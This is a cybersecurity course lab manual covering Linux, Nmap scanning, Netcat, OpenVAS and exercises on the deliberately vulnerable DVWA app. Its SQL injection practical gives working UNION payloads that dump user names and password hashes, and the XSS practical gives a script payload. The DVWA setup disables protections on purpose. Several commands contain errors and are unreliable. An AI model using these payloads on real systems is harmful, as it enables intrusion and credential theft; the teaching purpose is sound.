CYBER SECURITY - 2150002

CYBER SECURITY

LIST OF EXPERIMENT :

PRACTICAL 1

1. INTRODUCTION OF LINUX

Linux is a version of UNIX operating system, the original ancestor of Linux.  UNIX is a command-driven operating system in which the user has to type in commands at the computer console in order to operate the computer (“Introduction to Linux, 2001).  UNIX is one of the most popular operating systems worldwide because of its large support base and distribution.  It was originally developed in the 1970’s at AT&T as a multitasking system for minicomputers and mainframes.  Since then, it has grown to become one of the most widely-used operating systems. 

In 1991, Linus Torvalds, a student at the University of Helsinki, sought to create a new version of UNIX; therefore, he joined forces with a group of programmers to create a new operating system—Linux.  Linux is a free version of UNIX that continues to be developed by the cooperative efforts of volunteer groups of programmers, primarily on the Internet, who exchange code, report bug, and fix problems in an open-ended environment .  As a result, the world now has a powerful, robust, and full-featured operating system that continues to change and grow.

Linux is known as an open source operating system and also called free software because everything about Linux is accessible to the public and is freely available to anyone.  Since the Linux source code is available, anyone can copy, modify, and distribute this software.  This allows for various companies such as Fedora, Red Hat, Caldera and others to sell and distribute Linux; however, at the same time, these companies must keep their Linux distribution code open for public inspection, comment, and changes.  Despite of the command-line origins of Linux, these distributing companies are working to make the Graphical User Interface (GUI), the primary means of user interface; thus more user friendly.

Overall, Linux is not just a simple operating system; it is an entire server and desktop environment, equipped with add-ons, GUI tools and interfaces, and supplementary programs.  Although Linux distribution varies, the following list is a summary of what to expect from any version of Linux:

§  File Services:  NFS, Samba

§  Graphics program: image manipulation, retouching, and paint capabilities

§  Mail server software: SendMail, POP, and IMAP servers

§  Multimedia tools:  Support JPEG, GIF, PNG, TIFF, MPEG, AVI, and QuickTime video files.

§  Programming tools:  Linux systems supports C, C++, FORTRAN, Pascal, assembler, BASIC, perl, python, Tcl/TK,LISP, Scheme, pus a debugger and a memory debugging

§  X Windows system

A. Linux Distributions

A Linux distribution is an assemblage of software with its own packaging schemes, defaults and configuration methods.  The following is a list of some of the major Linux distributions

• Fedora Linux : The Fedora Project welcomes OEM distributors, but providers must adhere to the same trademark guidelines as other vendors. Specifically, you may not modify the Fedora installation and maintain the Fedora name. The nearest you may do is completely rebrand the distribution to comply with the trademark guidelines, make your modifications, and distribute the product under a different name. You may also not then say that your product "contains Fedora" or is an alternate "edition" of Fedora. You may say that your product is "a derivative of Fedora" or is "built upon Fedora", but you must make it clear that your product is NOT Fedora. If you use the Fedora name in such a manner, you must also note that Fedora is a registered trademark, and not attempt to confuse users or allude to a non-existant relationship between you and the Fedora Project or Red Hat.

• Corel Linux:  This is a new Linux distribution that has made an impressive entrance.  The installation process is simple and does a great job of detecting and automatically configuring many sound and video card adapters.  It also comes together with Corel’s WordPerfect word processing package which has been ported to run on Linux.
• Debian GNU/Linux:  This distribution is one of the oldest and recognized favorites among advanced technical groups.  It is relatively difficult to install due to the very high number of installation options.

• OpenLinux (Caldera): The OpenLinux distribution has shrink-wrapped software packages that include the first graphical Linux installation.  This distribution allows the user to play a game in the foreground while the computer loads software in the background during installation.

• Red Hat:  Red Hat is the first company to mass market the Linux operating system.  They have validated Linux by packing the GNU/Linux tools in shrink wrapped packages and have included valued-added features to their product such as: telephone support, training, and consulting services.

• Slackware:  Of all of the surviving Linux distributions, Slackware has been around the longest.  The installation interface had remained the same since its beginning, until a couple of years ago.

• SuSE:  This distribution derives from Germany.  SuSE works closely with the XFree86 project (the free X graphical server component of all Linux distributions).  As a result, they have a terrific graphical configuration tool called SaX.

• TurboLinux:  This distribution provides a great graphical desktop environment along with a few tools for configuring the system.  TurboLinux has lead the way in the turnkey installations by providing CD installations exclusive to Server, Workstation, and Clusters.

B. Configuring Your System

After the installation process of the files is complete, the next step is configuring the system.  These steps involved:

1.      Selecting a language

2.      Choosing automatic or manual partitioning

3.      Type of software to install

4.      Choosing which drive to boot from

5.      Adjusting the time settings

6.      Configuring the hardware aspect of the system

7.      Creating the root password (for the Administrator), as well as the user name and password for users

8.      Hardware configuration

 

C. Linux Applications

Once the user is familiar with navigating the KDE GUI, it is time to explore the numerous applications Linux has to offer.  Unlike Windows operating system, Linux distributions such as SuSE already come with all the programs and applications needed.  Programs for the SuSE Linux include:

§  OpenOffice: word processing, spreadsheets, drawing

§  Adobe Acrobat Reader

§  Konqueror: The KDE File Manager and Web Browser

§  Kmail:  The KDE Mail Application

§  Evolution:  An Email and Calendar Program

§  Sound Application, TV, Video, Radio, and Webcam

§  K3b:  The KDE Burning Application

§  Digital Cameras

§  Kooka:  Scanning Application

§  Graphics with the GIMP

§  Shell system

It is useful to note that the Linux operating system allows the user to continue to use old files that were created in different operating systems.  Standard program in Linux such as StarOffice and the GIMP can handle most file formats that the user has previously utilized; whether it is for word processing documents, pictures, or video data.  SuSe Linux allows the user to work with old files without difficulty.

D. Files, Folders, and Directories

To use the shell efficiently, it is useful to have some knowledge about the file and directory structures of  Linux.  Directories can be thought as electronic folders where files, programs, and subdirectories are stored.

The place where the entire directory tree begins is called the root directory.  The root directory is identified by a slash (‘ / ’).  Root is one of the several users on the Linux system, which as mentioned before, is a multiuser system.  The root is responsible for the entire Linux system, making sure it runs reliably.

The Linux file system is then subdivided into many branches known as subdirectories. Table provides a short description of these standard directories.

Table Overview of Important Directories

Directory	Description
/	Root directory, starting point of the directory tree
/home	(private) directories of users
/dev	Device files that represent hardware components
/etc	Important files for system configuration
/etc/init.d	Boot scripts
/usr/bin	Generally accessible programs
/bin	Program needed early in the boot process
/usr/sbin	Programs reserved for the system administrator
/sbin	Program reserved for the system administrator and needed for booting
/sbin/init.d	Boot scripts
/usr/include	Header files for the C compiler
/usr/include/g++	Header files for the C++ compiler
/usr/share/doc	Various documentation files
/usr/man	System manual pages (man pages)
/usr/src	Source code of system software
/usr/src/linux	Kernel source code
/tmp	Temporary files
/var/tmp	Large temporary files
/usr	Contains all application programs
/var	Configuration files (e.g., those linked from /usr)
/var/log	System log files
/var/adm	System administration data
/lib	Shared libraries (for dynamically linked programs)
/proc	Process file system
/usr/local	Local, distribution-independent extensions
/opt	Optional software, larger add-on program packages (such as KDE, GNOME, Netscape

1.2 BASIC INSTALLATION STEP 

1. Set linux Package Repositories

            #          cd /etc/yum.repo.d/

            #          vim ait.repo

           

            #          yum repolist

            #          yum update

            #          yum install nmap, zemap,netcat

1.3 CONCLUSION

Deciding what operating system is easier to use all depends on the user. Windows tends to be more popular with individuals; however, it is all about familiarizing yourself with the operating system. After actually giving Linux a chance, any user can decide that it is easier to use than Windows. One thing to remember is that Linux is free, so anyone can always go to the Internet and download software to experiment with the OS.  If a user does end up disliking it, he/she can go back to using Windows. It’s that easy.

Now you have seen that it is possible to set up your system to run more than one operating system on your computer. If you are contemplating using Linux this can be very handy; it let’s you still keep Windows 95/98/ME/2000/XP and use Linux.  This will require creating partitions on your Hard Disk, which can be done creating a multi boot system.  Documentation that accompanies most Linux distributions will explain how to create a ‘multi-boot’ system.

PRACTICAL – 2

AIM : Port Scanning USING NMAP

  2.1. Objectives

1.  Introduce the techniques of port scanning.

2.  Use port scanning audit tools such as Nmap.

2.2. Introduction:

·      A service is a program that waits inside a loop for a request message from a client, and acts on the request.

·      By  port  scanning,  one  discovers  which  ports  are  available  (i.e.,  being listened to by a service).  Essentially, a port scan consists of sending a message to each port, one at a time and examining the response received. If the port is in use, it can then be probed further for weakness.

·      Port Scanning  is  one  of  the  most  popular  among  the  reconnaissance

techniques attackers use.

2.3. Port Scanning

 Port scanning allows a hacker to determine what services are running on the systems that have been identified. If vulnerable or insecure services are discovered, the hacker may be able to exploit these to gain unauthorized access. There are a total of 65,535 * 2 ports (TCP & UDP). While a complete scan of all these ports may not be practical, analysis of popular ports should be performed.

Many port scanners ping first, so make sure to turn this feature off to avoid missing systems that have blocked ICMP.

Popular port scanning programs include: Nmap, Netscan Tools, Superscan and Angry IP Scanner.

The port numbers are divided into three ranges:

1.  Well Known Ports (from 0 through 1023)

2.  Registered Ports (from 1024 through 49151)

3.  Dynamic and/or Private Ports (from 49152 through 65535).

2.3.1. TCP and UDP Port Scanning

Remember thatTCP offers robust communication and is considered a connection protocol.TCP establishes a connection by using what is called a three-way handshake.

The TCP header contains a 1-byte field for the flags. Look at the figure below

to see TCP flag structure.

·         ACK: The receiver will send an ACK to acknowledge data.

·         SYN:Used during the three-step session setup to inform the otherparty to begin communication and used to agree on initial sequencenumbers.

·         FIN: Used during a normal shutdown to inform the other host that thesender has no more data to send.

·         RST: Used to abort an abnormal session.

·         PSH: Used to force data delivery without waiting for buffers to fill.

·         URG: Used to indicate priority data.

At the conclusion of communication, TCP terminates the session by using what is called a four-step shutdown. See the figure below.

From a scanning standpoint, this means that TCP has the capability to return many different types of responses to a scanning program. By manipulating these features, an attacker can craft packets in an attempt to coax a server to respond or to try and avoid detection of an intrusion detection system (IDS). Many of these methods are built in to popular port-scanning tools. Before we look specifically at the tools and its popular port-scanning techniques, let’s see the port number of the common services.

2.3.2. Common Ports

Port	Service	Protocol
20/21	FTP	TCP
22	SSH	TCP
23	Telnet	TCP
25	SMTP	TCP
53	DNS	TCP/UDP
67/68	DHCP	UDP
69	TFTP	UDP
80	HTTP	TCP
110	POP3	TCP
161/162	SNMP	UDP
443	HTTPS	TCP

2.4. Nmap

Nmap was developed by Fyodor Yarochkin and is one of the most well-known port-scanning tools.  Nmap is available for Windows and Linux as  a  GUI  and command-line program. It can do many types of scans and OS identification. It also has the ability to blind scan and zombie scan, and it enables you to control the speed of the scan from slow to very fast. The  name  Nmap  implies  that  the  program  was  ostensibly  developed  as  a network mapping tool. As you can imagine, such a capability is attractive to the people who secure networks as well as those who attack networks. Nmap is considered one of the best port-scanning tools in part because it offers an easy command-line interface (CLI) and has ready availability of documentation, and because of the way in which the tool has been developed and maintained.

2.4.1. Common Scan types

·         TCP Full Connect scan: This type of scan is the most reliable but also the most detectable. It is easily logged and detected because a full connection is established. Open  ports  reply  with  a  SYN/ACK;  closed  ports  respond  with  a RST/ACK.

·         TCP  SYN  scan:  This  type  of  scan  is  known  as  half-open, because a  full  TCP connection is not established. This type of scan was originally developed to be stealthy and evade IDS systems, although most now detect it. Open ports reply with a SYN/ACK; closed ports respond with a RST/ACK.

·         TCP FIN scan: Forget trying to set up a connection; this technique jumps straight to the shutdown. This type of scan sends a FIN packet to the target port. Closed ports should send back an RST. This technique is usually effective only on Unix devices.

·         TCP NULL scan: Sure, there should be some type of flag in the packet, but a null scan sends a packet with no flags set. If the OS has implemented TCP per RFC

793, closed ports will return an RST.

·         TCP XMAS scan: just a port scan that has toggled on the FIN, URG, and PSH flags. Closed ports should return an RST.

2.4.2. NMAP Installation Step

                #  yum -y install nmap

                # rpm -ivh Zemap-

2.4.3. Nmap Output

The output from Nmap is a list of scanned targets, with supplemental information on each depending on the options used. Key among that information is the “interesting ports table”.

·         That table lists the port number and protocol, service name, and state. The state is either open, filtered, closed, or unfiltered. Open means that an application on the target machine is listening for connections/packets on that port. Filtered means that a firewall, filter, or other network obstacle is blocking the port so that Nmap cannot tell whether it is open or closed. Closed ports have no application listening on them, though they could open up at any time. Ports are classified as unfiltered when they are responsive to Nmap's probes, but Nmap cannot determine whether they are open or closed. Nmap reports the state combinations open|filtered and closed|filtered when it cannot determine which of the two states describe a port.

·         The port table may also include software version details when version detection has been requested.

·         In  addition  to  the  interesting  ports  table,  Nmap  can  provide  further information on targets, including reverse DNS names, operating system guesses, device types, and MAC addresses.

2.4.3 Nmap Scan Options

When we use the command line in the Nmap tool instead of GUI, we need some option which listed with the command to define the type of scan methods. The table below lists some of these options.

Scan Option	Name	Notes
-sS	TCP SYN	Stealth scan
-sT	TCP FULL	Full connect
-sF	FIN	No reply from open port
-sN	Null	No flags are set
-sX	Xmas	URG,PUSH, and FIN are set
-sP	Ping	Performs ping
-sU	UDP Scan	Like Null scan
-sA	ACK	Performs an ACK scan
-sI	Idle Scan	Performs zombie scan

2.4.4. Lab Experiment

·         Requirements

Setup a network contains at least two machines (in the lab) or you can use software like VMware or Virtual PC to build you virtual lab (in your home).

In this experiment you can use BackTrack 3 live cd to run Nmap or you can install windows version for your machine.

·         Procedures

1. From windows

    Graphical interface

1.   From PC1 (windows xp or Fedora 12) setup nmap , in the target field type the ip address or name of the target.

2.   Determine the scan type according your need you can change scan type from

profile  field  (each  scan  has  different  parameters  and  will  return  different results).

3.   Click Scan to start scanning, be patient until the result appears, the time it takes depend on the scan type.

4.   Nmap output give you a summary for scanning process and other tabs give you the output in different shape. The output will be as previously discussion.

5.   An example for these is shown in figure 1

Command line

 Note that the previous process can be done using command line interface ; Click start, run and type the following command :

Nmap [nmap switches](ip address of the target)

 Example:

·         Scan a single ip address

                                         nmap hostname

nmap 192.168.1.1      

·         Scan a host name

nmap www.aitindia.in

·          Scan a host name with more info

nmap -v www.ashish.ftp.com

·         Scanning for a single port on a machine

nmap –p portnumber hostname

nmap -p 192.168.1.1

·         Scan remote machine for open ports

nmap remote-ip/host

·Scan entire network for IP address and open ports.

nmap network ID/subnet-mask

nmap 192.168.1.0/24

·Scan the machine and give as much details as possible.

nmap -v hostname

   nmap -v 192.168.1.1

·Scan a machine for TCP open ports

nmap –sT hostname

Here s stands for scanning and T is for scanning TCP ports only

nmap -sT 192.168.1.1

·Scan a machine for UDP open ports.

nmap –sU hostname

·Scanning for ports and to get what is the version of different services running on that machine

nmap –sV hostname

nmap -sV 192.168.1.1

·To check which protocol(not port) such as TCP, UDP, ICMP etc is supported by the remote machine. This -sO will give you the protocol supported and its open status.

nmap –sO hostname

nmap -sO localhost

·To scan a system for operating system and uptime details

nmap -O hostname

nmap -O google.com

The summary will appear in command line with no GUI  as in figure 2

Figure .1

Figure .2

Graphical interface

1.   Click start – All Applications –Network  Mapping – choose Zenmap ; then   a GUI similar to that will appear in windows appears and we use it like windows.

Command line

1.   Click start – All Applications – Terminal –Network   Mapping – choose Nmap ; then the shell will opened with help contains switches of nmap, usage of each one and examples.

PRACTICAL – 3

AIM : Introduction to using Netcat

Objectives

To learn basic features of Netcat that using in security field.

Introduction :

Netcat is a wonderfully versatile tool which has been dubbed the “hackers' Swiss army knife”. Netcat is a computer networking service for reading from and writing network connections using TCP or UDP ;this dual functionality suggests that Netcat runs in two modes: “client” and “server”. Netcat is designed to be a dependable  “back-end”  device that can be  used candidly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce  almost  any  kind  of  correlation  you  would  need  and  has  a number of built-in capabilities.

Its list of features includes port scanning, transferring files, and port listening, and it can be used as a backdoor.

Major features of Netcat are:

·         Outbound or inbound connections, TCP or UDP, to or from any ports

·         Full DNS forward/reverse checking, with appropriate warnings

·         Ability to use any local source port

·         Ability to use any locally-configured network source address

·         Built-in port-scanning capabilities, with randomization

·         Built-in loose source-routing capability

·         Can read command line arguments from standard input

·         Hex dump of transmitted and received data

·         Optional ability to let another program service established connections

·         Optional telnet-options responder

·         Featured tunneling mode which allows also special tunneling such as UDP to TCP, with the possibility of specifying all network parameters (source port/interface, listening port/interface, and the remote host allowed to connect to the tunnel.

Lab Experiment

Requirements:

We need for this lab two machines , the first that runs Fedora and the other runs Windows XP .

Procedures:

Part 1: Listening on a TCP/UDP port with Netcat

Listening on a TCP/UDP port using Netcat is useful for network debugging client applications, or otherwise receiving a TCP/UDP network connection.

Let's try implementing a simple chat using Netcat.

1.   From  Fedora/Backtrack  :  we  want  to  listen  on  port  4444  and  accept  incoming connections on this port , type:

nc -lvvp 4444

Check to see that port 4444 is indeed listening using netstat

You will see

listening on [any] 4444 ...

2.   From Windows XP: connect to port 4444 on your Backtrack by typing

nc -vv 10.10.136.85 4444

3.   After connection established we can start chat as shown in Figure 1 and 2.

Figure backtrack Netcat listening for port 4444 ; chat is opened after connection establishment

Figure 2 Windows XP establish connection with Backtrack ,then simple chat done

Part2 : Transferring files with Netcat

Netcat can also be used to transfer files from one computer to another. This applies to text and binary files.

In order to send a file from Computer 2 to Computer 1, try the following:

1.   From Backtrack : We'll set up Netcat to listen to and accept the connection and to redirect any input into a file.type

nc -lvp 4444 > output.txt

2.   In  Windows  machine  we  create  text  file  secu.txt;  then  we  connect  to listening Netcat on computer 1 (port 4444) and send the file,type:

C:\>nc -vv 192.168.129.1 4444 > test.txt

3.   The connection will established and the file will transferred to Backtrack and this is shown in figure  3 and 4

Figure 3 Backtrack listen to 4444 port and accept incoming connection from Windows XP to transfer file

Figure 4 Send the file via opened connection to backtrack

Conclusion:

Netcat has other nice features and uses such as simple sniffing abilities, port redirection and others which you can learn about if you interested.

Now How to I get Netcat to run on the victim machine, without remote user intervention? The answer to this question is simply “remote code execution”. Ninety percent of attack vectors can be summarized with the pair of words “code execution”. For example, attacks such as Buffer Overflows, SQL injection, File Inclusion, Client Side Attacks, Trojan Horses - all aim to result in “code execution” on the victim machine. Simple using for this will be presented in virus and Trojan experiments.

PRACTICAL 4

AIM :  Vulnerability Scanning with OpenVAS Security Topics

1.   INTRODUCTION

OpenVAS (Open  Vulnerability Assessment System).  OpenVAS is the evolution of a  previous  project  called  Nessus,  which  became  a  proprietary tool.    The actual  security  scanner  is accompanied with  a daily  updated feed of Network Vulnerability Tests  (NVTs),  over 20,000 in total  (as of January 2011).

2.   Goals

• Install OpenVAS  server and client packages  on Fedora.

• Update OpenVAS vulnerability tests

• Create a user for scanning

• Learn to run scans in batch mode from the command-line  client

3.   Notes

• Commands preceded with “$” imply that you should execute the command as a general user - not as root.

•    Commands preceded with “#” imply that you should be working as root.

• Commands with more specific command   lines  (e.g.    “RTR-GW>” or “mysql>”) imply that you are executing commands on remote equipment, or within another program.

4    Installation

4.1     Install the server, client and plugin packages

# yum –y install openvas-server openvas-client openvas-plugins-base \

openvas-plugins-dfsg

4.2     Update the vulnerability database

# openvas-nvt-sync

4.3     Add a user to run the client

# openvas-adduser

Login: sysadm

Authentication (pass/cert) [pass]:  HIT ENTER Login password: USE CLASS PASSWD

You will then  be asked to add “User rules”.

Ideally,  you  will want  to  only  allow  scanning  on  hosts  that are  under  your control.  To understand the syntax,  check the openvas-adduser man page.

Let’s allow this user to scan hosts in our lab network.  

Type: accept 10.10.0./16 default deny type ctrl-D  to exit, and then  accept.

5    Operation

5.1     Starting the server

# /etc/init.d/openvas-server start

The  server  has  to  load  thousands of vulnerability checks,  which  takes  VERY LONG, especially on a machine  that is not very powerful.  Most likely, you will not be able to run this on the virtual  NSRC lab.

On a production setup,  you will need a machine with multiple  processors/ cores and a quite  a bit of RAM, especially if you will be scanning  many  hosts.

5.2     Running a scan

Create  a text  file with a list of hosts/networks to scan.

# cd /home/sysadm

# vi scanme.txt

Add one host,  network  per line, like this:

10.10.0.250

10.10.2.5... etc.

Check the manual  for the client to understand its parameters:

# man openvas-client

Then,  run the client like this:

# openvas-client -q 127.0.0.1 9390 sysadm nsrc+ws scanme.txt >openvas-output .html -T txt -V -x

Alternatively, you can export  into prettier HTML  format  with:

# openvas-client -q 127.0.0.1 9390 sysadm nsrc+ws scanme.txt \

openvas-output.txt -T html -V -x

You might have to transfer  that file to your laptop  so that you can open it with a browser.

5.3     Keeping track of changes

You could take  advantage of concurrent  versioning  systems  like Subversion  or

Git  to keep track  of changes in the hosts you scan.

• Create  a git repository

• Add a cron job to scan hosts periodically  (e.g. once a month)

• Use -T txt  or -T xml report  format

• Update  the repository  after  each run

• Add a post-commit hook on Git  to generate  e-mails with different ends.

Practical 5

AIM : Web application testing using DVWA 

Introduction to DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications.

Installation Guide

Alright, let’s go ahead and get started with the installation process.

Step 1

Install MySQL server by entering the following command:
root@ashish:~# yum –y install mysql mysql-server
When prompted, create a password for MySQL.
Note: Don’t forget your MySQL password. We’re going to need it later.

Step 2
Install unzip, Apache web server, PHP5, PEAR, and the PHP5 MySQL module by entering the following command:
root@ashish:~# yum –y install unzip apache2 php5 php5-mysql php-libvirt

Step 3
Move into the /var/www/html directory by entering the following command:
root@ashish:~# cd /var/www/html
Default  directory Apache serves

Step 4
Download and unzip the DVWA package by entering the following commands:
root@ashish:/var/www/html# 

wget https://github.com/RandomStorm/DVWA/archive/v1.0.8.zip

root@ashish:/var/www/html# unzip v1.0.8.zip

You should now have a directory titled, “DVWA-1.0.8″.

Step 5

Before we continue, we should clean up the mess that we’re making. We can delete the v1.0.8.zip file and rename the DVWA-1.0.8 directory to something more practical by entering the following commands:

root@ashish:/var/www/html# rm v1.0.8.zip

root@ashish:/var/www/html# mv DVWA-1.0.8 dvwa

The DVWA-1.0.8 directory should now be titled “dvwa”

Step 6

Open the DVWA database connection script by entering the following command:
root@ashish:/var/www/html# vim dvwa/config/config.inc.php

Step 7

Now we need to add our MySQL password to the DVWA database connection script. To do this, find the following line:

$_DVWA[ 'db_password' ] = 'p@ssw0rd';

and replace “p@ssw0rd” with your MySQL password.

Example:
$_DVWA[ 'db_password' ] = 'mysqlpassword';

When you’re finished adding your password, press “control” and “x” to end the editing session. Then press “y” to confirm your changes. Then press enter to save the file.

Step 8

Back to  root directory real quick. Join me if you want…

root@ashish:/var/www/html# cd \

Open the Apache php.ini file by entering the following command:

root@ashish:~# vim /etc/php5/apache2/php.ini

Step 9

Find the following line:

allow_url_include = Off

and replace “Off” with “On”

Example:
allow_url_include = On

Tip:
An easy way to find a string of text is to open the search prompt by pressing “control” and “w”

Then enter the search term and press enter.

When you’re finished replacing the text, press “control” and “x” to end the editing session. Then press “y” to confirm your changes. Then press enter to save the file.

Step 10

Change the permissions by entering the following command:

root@ashish:~# chmod -R 777 /var/www/html/dvwa

For starting MySql service  

ps ax | grep mysql

systemctl enabled mysql

sytemctl start mysql

systemctl status mysql

Step 11
Log into MySQL and create a database for DVWA by entering the following commands:
root@ashish:~# mysql -u root -p
Enter Password: [your mysql password]
root@ashish:~# create database dvwa;
root@ashish:~# exit

Step 12
Open the apache.conf file by entering the following command:
root@ashish:~# vim /etc/apache2/apache2.conf

Step 13
Move to the bottom of the file and add the following line:
ServerName localhost
When you’re finished adding the new line, press “control” and “x” to end the editing session. Then press “y” to confirm your changes. Then press enter to save the file.

Step 14
Start the Apache web server by entering the following command:
root@ashish:~# service apache2 start

Step 15
Open a web browser and navigate to:
http://localhost/dvwa/setup.php
Example:
http://10.0.7.214/dvwa/setup.php
and click the button that says “Create / Reset Database”

Step 16
Navigate to:
http://localhost/dvwa
Example:
http://10.0.7.214/dvwa/
and log in with the following credentials:
username: admin
password: password

Brute-force attack

A password and cryptography attack that does not attempt to decrypt any information, but continue to try a list of different passwords, words, or letters. For example, a simple brute-force attack may have a dictionary of all words or commonly used passwords and cycle through those words until it gains access to the account. A more complex brute-force attack involves trying every key combination until the correct password is found. Due to the number of possible combinations of letters, numbers, and symbols, a brute force attack can take a long time to complete. The higher the type of encryption used (64-bit, 128-bit or 256-bit encryption), the longer it can take. 

The first challenge of DVWA is how to login it. Usually, you can search the network and get the default username/password, or try to use SQL Injection to escape the authentication mechanism, such as use a username like admin’;-- or other ways. Here we will use brute force, and use  WebCruiser Web Vulnerability Scanner  brute force tool.

First, input any username and password, such as 123, 456, etc. submit. 

Fig 5.1

Fig 5.2

We found there was a request list which includes requests we submit just now. Note that there is a button “Bruter”, click it, it will switch to Bruter tool.The username and password field has been identified automatically. The dictionary files are located in the same directory with WebCruiserWVS.exe and supports custom modifying. Click “Go” to start guess process, result will be list in the window. Log in with the username and password.

Fig 5.3

Practical 6

AIM : Manual SQL injection using DVWA 

SQL injection is a type of security exploit in which the attacker adds Structured Query Language (SQL) code to a Web form input box to gain access to resources or make changes to data. An SQL query is a request for some action to be performed on a database.

1. Basic Injection

Instructions:

1. Input "1" into the text box.

2. Click Submit.

3. Note, webpage/code is supposed to print ID, First name, and

Surname to the screen.

Notes(FYI):

Below is the PHP select statement that we will be exploiting,

specifically $id.

$getid = "SELECT first_name, last_name FROM users WHERE user_id =

'$id'";

Fig 1 SQL Injection

Fig 2. Sql Injection (Blind)

2. Always True Scenario

Instructions:

1. Input the below text into the User ID Textbox (See Picture).

%' or '0'='0

2. Click Submit

Notes(FYI):

In this scenario, we are saying display all record that are

false and all records that are true.

%' - Will probably not be equal to anything, and will be

false.

'0'='0' - Is equal to true, because 0 will always equal

0.

Database Statement

mysql> SELECT first_name, last_name FROM users WHERE user_id = '%' or

'0'='0';

3. Display Database Version

Instructions:

1. Input the below text into the User ID Textbox (See Picture).

%' or 0=0 union select null, version() #

2. Click Submit

Notes(FYI):

Notice in the last displayed line, 5.1.60 is displayed in the

surname.

This is the version of the mysql database.

4. Display Database User

Instructions:

1. Input the below text into the User ID Textbox (See Picture).

%' or 0=0 union select null, user() #

Notes(FYI):

Notice in the last displayed line, root@localhost is

displayed in the surname.

This is the name of the database user that executed the

behind the scenes PHP code.

5. Display Database Name

Instructions:

1. Input the below text into the User ID Textbox (See Picture).

%' or 0=0 union select null, database() #

Notes(FYI):

Notice in the last displayed line, dvwa is displayed in the

surname.

This is the name of the database.

6. Display all tables in information_schema

Instructions:

1. Input the below text into the User ID Textbox (See Picture).

%' and 1=0 union select null, table_name from

information_schema.tables #

2. Click Submit

Notes(FYI):

Now we are displaying all the tables in the

information_schema database.

The INFORMATION_SCHEMA is the information database, the place

that stores information about all the other databases that

the MySQL server maintains.

7. Display all the user tables in information_schema

Instructions:

1. Input the below text into the User ID Textbox (See Picture).

%' and 1=0 union select null, table_name from

information_schema.tables where table_name like 'user%'#

2. Click Submit

Notes(FYI):

Now we are displaying all the tables that start with the

prefix "user" in the information_schema database.

8. Display all the columns fields in the information_schema user table

Instructions:

1. Input the below text into the User ID Textbox (See Picture).

%' and 1=0 union select null,

concat(table_name,0x0a,column_name) from

information_schema.columns where table_name = 'users' #

2. Click Submit

Notes(FYI):

Now we are displaying all the columns in the users table.

Notice there are a user_id, first_name, last_name, user and

Password column.

9. Display all the columns field contents in the information_schema user table

Instructions:

1. Input the below text into the User ID Textbox (See Picture).

%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password)

from users #

2. Click Submit

Notes(FYI):

Now we have successfully displayed all the necessary

authentication information into this database.

Practical 7

AIM : XSS using DVWA.

·      Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications.

·      XSS enables attackers to inject client-side script into Web pages viewed by other users.

·      A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.

·      In Addition, the attacker can send input (e.g., username, password, session ID, etc) which can be later captured by an external script.

·      The victim's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site.

·      XSS Cross Site Scripting.

1.      REFLECTIVE XSS

        There are many ways in which an attacker can entice a victim into intating a reflactive XSS request. For example, the attacker could send the victim a misleading email with a link containing malicious javascript. If the victim click the link, the HTTP request is intiated from the victim’s browser and sent to the vulnerable web application. The malicious javascript is then reflected back to the victim’s browser, where it is executed in the context of the victim’s browser

Fig 1.

2.  Persistent XSS

Consider a web application that allows users to enter a username that is displayed on each user’s profile page. The application stores each username in a local database. A malicious user notices that the web application fails to sanitize the username field and inputs malicious JavaScript code as part of their username. When other users view the attacker’s profile page, the malicious code automatically executes in the context of their session.

Fig 2.

Fig. 3

and as shown in Fig 1 try to write <script language="javascript">alert("ashish")</script> to the box, and submit it.

·        Vulnerability: Stored Cross Site Scripting (XSS)

.

Fig. 4